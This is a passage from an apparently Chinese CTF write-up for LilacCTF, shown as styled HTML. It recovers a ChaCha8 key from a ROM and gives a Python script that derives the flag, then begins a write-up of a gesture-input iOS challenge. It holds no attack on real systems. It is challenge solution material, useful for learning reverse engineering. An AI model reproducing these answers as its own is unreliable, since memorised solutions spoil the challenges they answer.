0px;padding-right: 0px;"><span leaf="">ChaCha8 加密，counter=1，nonce=0x41414141/0x42424242/0x43434343。</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">密文：</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">&#34;There_is_nothing_you_wanna_get..&#34;</span></code></pre><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><strong style="color: rgb(0, 0, 0);font-weight: bold;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;height: auto;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 3px;border-bottom-width: 3px;border-left-width: 3px;border-right-width: 3px;border-top-color: rgba(0, 0, 0, 0.4);border-bottom-color: rgba(0, 0, 0, 0.4);border-left-color: rgba(0, 0, 0, 0.4);border-right-color: rgba(0, 0, 0, 0.4);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-right-radius: 0px;border-bottom-left-radius: 0px;"><span leaf="">ROM 偏移 0xC000处的 32 字节</span></strong><span leaf="">就是 key：</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF 00</span><span leaf=""><br/></span><span leaf="">DE AD BE EF CA FE BA BE 0B AD F0 0D 13 37 13 37</span></p><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">from</span></span><span leaf=""> pathlib </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">import</span></span><span leaf=""> Path</span><span leaf=""><br/></span><span leaf="">ROM_PATH = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;rom.bin&#34;</span></span><span leaf=""><br/></span><span leaf="">PLAINTEXT = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;There_is_nothing_you_wanna_get..&#34;</span></span><span leaf=""><br/></span><span leaf="">MASK_WORDS = [</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x37329BF6</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x36A918FC</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xF2E74973</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x6149F8D4</span></span><span leaf="">,  </span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4CF26AC9</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x3C4C6283</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x78125C05</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x5F30959D</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">MASK_BYTES = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">.join(w.to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;big&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> w </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> MASK_WORDS)  </span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># 32 bytes</span></span><span leaf=""><br/></span><span leaf="">COUNTER = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf=""><br/></span><span leaf="">NONCE = (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x41414141</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x42424242</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x43434343</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">SIGMA_OFFSET = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0x4018</span></span><span leaf=""><br/></span><span leaf="">KEY_KNOWN_OFFSET = </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xC000</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">rotl32</span></span><span style="line-height: 26px;"><span leaf="">(x: int, n: int)</span></span><span leaf=""> -&gt; int:</span></span><span leaf=""><br/></span><span leaf="">    x &amp;= </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> ((x &lt;&lt; n) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf="">) | (x &gt;&gt; (</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> - n))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">quarter_round</span></span><span style="line-height: 26px;"><span leaf="">(a: int, b: int, c: int, d: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    a = (a + b) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">    d ^= a</span><span leaf=""><br/></span><span leaf="">    d = rotl32(d, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    c = (c + d) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">    b ^= c</span><span leaf=""><br/></span><span leaf="">    b = rotl32(b, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    a = (a + b) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">    d ^= a</span><span leaf=""><br/></span><span leaf="">    d = rotl32(d, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    c = (c + d) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span leaf=""><br/></span><span leaf="">    b ^= c</span><span leaf=""><br/></span><span leaf="">    b = rotl32(b, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> a, b, c, d</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">chacha_block</span></span><span style="line-height: 26px;"><span leaf="">(state_words, rounds=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    x = state_words[:]</span><span leaf=""><br/></span><span leaf="">    st = state_words[:]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">assert</span></span><span leaf=""> rounds % </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf=""> == </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> _ </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(rounds // </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># column rounds</span></span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">])</span><span leaf=""><br/></span><span style="color: #5c6370;font-style: italic;line-height: 26px;"><span leaf=""># diagonal rounds</span></span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">5</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">10</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">15</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">6</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">11</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">12</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">7</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">13</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">        x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">] = quarter_round(x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">3</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">9</span></span><span leaf="">], x[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">14</span></span><span leaf="">])</span><span leaf=""><br/></span><span leaf="">    out = [(x[i] + st[i]) &amp; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0xFFFFFFFF</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">16</span></span><span leaf="">)]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> out</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">build_expected</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> bytes(p ^ m </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> p, m </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> zip(PLAINTEXT, MASK_BYTES))</span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">try_key</span></span><span style="line-height: 26px;"><span leaf="">(rom: bytes, key_off: int)</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    key_bytes = rom[key_off:key_off + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> len(key_bytes) != </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span leaf="">    key_words = [int.from_bytes(key_bytes[i * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">:(i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;big&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    sigma = [int.from_bytes(rom[SIGMA_OFFSET + i * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">:SIGMA_OFFSET + (i + </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">) * </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">], </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;big&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> i </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">)]</span><span leaf=""><br/></span><span leaf="">    state = sigma + key_words + [COUNTER, NONCE[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">], NONCE[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">1</span></span><span leaf="">], NONCE[</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">2</span></span><span leaf="">]]</span><span leaf=""><br/></span><span leaf="">    out_words = chacha_block(state, rounds=</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">8</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">    keystream = </span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;&#34;</span></span><span leaf="">.join(w.to_bytes(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">, </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;little&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> w </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> out_words)</span><span leaf=""><br/></span><span leaf="">    expected = build_expected()</span><span leaf=""><br/></span><span leaf="">    inp = bytes(e ^ k </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> e, k </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> zip(expected, keystream[:</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">]))</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> inp.startswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;LilacCTF{&#34;</span></span><span leaf="">) </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">and</span></span><span leaf=""> inp.endswith(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">b&#34;}&#34;</span></span><span leaf="">):</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> all(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf=""> &lt;= b &lt; </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">127</span></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> b </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> inp):  </span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">try</span></span><span leaf="">:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> inp.decode(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;ascii&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">except</span></span><span leaf=""> UnicodeDecodeError:</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span style="color: #56b6c2;line-height: 26px;"><span leaf="">None</span></span><span leaf=""><br/></span><span style="line-height: 26px;"><span style="color: #c678dd;line-height: 26px;"><span leaf="">def</span></span><span style="color: #61aeee;line-height: 26px;"><span leaf="">main</span></span><span style="line-height: 26px;"><span leaf="">()</span></span><span leaf="">:</span></span><span leaf=""><br/></span><span leaf="">    rom = Path(ROM_PATH).read_bytes()</span><span leaf=""><br/></span><span leaf="">    s = try_key(rom, KEY_KNOWN_OFFSET)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> s:</span><span leaf=""><br/></span><span leaf="">        print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[+] Found (known offset):&#34;</span></span><span leaf="">, s)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> off </span><span style="color: #c678dd;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> range(</span><span style="color: #d19a66;line-height: 26px;"><span leaf="">0</span></span><span leaf="">, len(rom) - </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">32</span></span><span leaf="">, </span><span style="color: #d19a66;line-height: 26px;"><span leaf="">4</span></span><span leaf="">):</span><span leaf=""><br/></span><span leaf="">        s = try_key(rom, off)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> s:</span><span leaf=""><br/></span><span leaf="">            print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">f&#34;[+] Found (bruteforce key @ 0x</span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{off:X}</span></span><span leaf="">): </span><span style="color: #e06c75;line-height: 26px;"><span leaf="">{s}</span></span><span leaf="">&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">return</span></span><span leaf=""><br/></span><span leaf="">    print(</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;[-] Not found. Check constants / offsets / endian.&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #c678dd;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> __name__ == </span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;__main__&#34;</span></span><span leaf="">:</span><span leaf=""><br/></span><span leaf="">    main()</span></code></pre><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;margin-left: 0px;margin-right: 0px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-color: transparent;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;height: auto;justify-content: center;line-height: 1.5em;overflow-x: unset;overflow-y: unset;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;text-align: left;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span style="font-size: 18px;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);line-height: 1.5em;letter-spacing: 0em;padding-top: 2px;padding-bottom: 2px;padding-left: 10px;padding-right: 10px;align-items: unset;background-attachment: scroll;background-clip: border-box;background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;border-top-style: none;border-bottom-style: none;border-left-style: none;border-right-style: none;border-top-width: 1px;border-bottom-width: 1px;border-left-width: 1px;border-right-width: 1px;border-top-color: rgb(0, 0, 0);border-bottom-color: rgb(0, 0, 0);border-left-color: rgb(0, 0, 0);border-right-color: rgb(0, 0, 0);border-top-left-radius: 0px;border-top-right-radius: 0px;border-bottom-left-radius: 0px;border-bottom-right-radius: 0px;box-shadow: none;display: block;font-weight: bold;flex-direction: unset;float: unset;height: auto;justify-content: unset;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;overflow-x: unset;overflow-y: unset;text-align: left;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset;"><span leaf="">NineApple</span></span></h3><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">通过查找关键字符串找到程序的主要逻辑</span></p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><span leaf=""><img class="rich_pages wxw-img" data-ratio="0.27232142857142855" data-type="png" data-w="448" style="display: block;margin: 0px auto;max-width: 100%;border-style: none;border-width: 3px;border-color: rgba(0, 0, 0, 0.4);border-radius: 4px;object-fit: fill;box-shadow: rgba(170, 170, 170, 0.5) 0px 0px 6px 0px;height: auto !important;" data-imgfileid="100030408" data-aistatus="1" src="https://wechat2rss.xlab.app/img-proxy/?k=08c9fe3d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FPUubqXlrzBQ6DHXMbOqpeGx1ejPtmMU03k9ydDYxlroArybviaXETScH3eq1dr1thcrEmo55UsAZOTRKeryCia9Q%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></figure><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">在sub_100006D08()</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">程序主要逻辑如下</span></p><p data-tool="mdnice编辑器" style="color: rgb(0, 0, 0);font-size: 14px;line-height: 1.8em;letter-spacing: 0em;text-align: left;text-indent: 0em;margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 8px;padding-bottom: 8px;padding-left: 0px;padding-right: 0px;"><span leaf="">九宫格手势输入→追加点序列 → current_key += digit*weight[idx] → idx++ →点序列转数字串 → map_list 查表得到字符 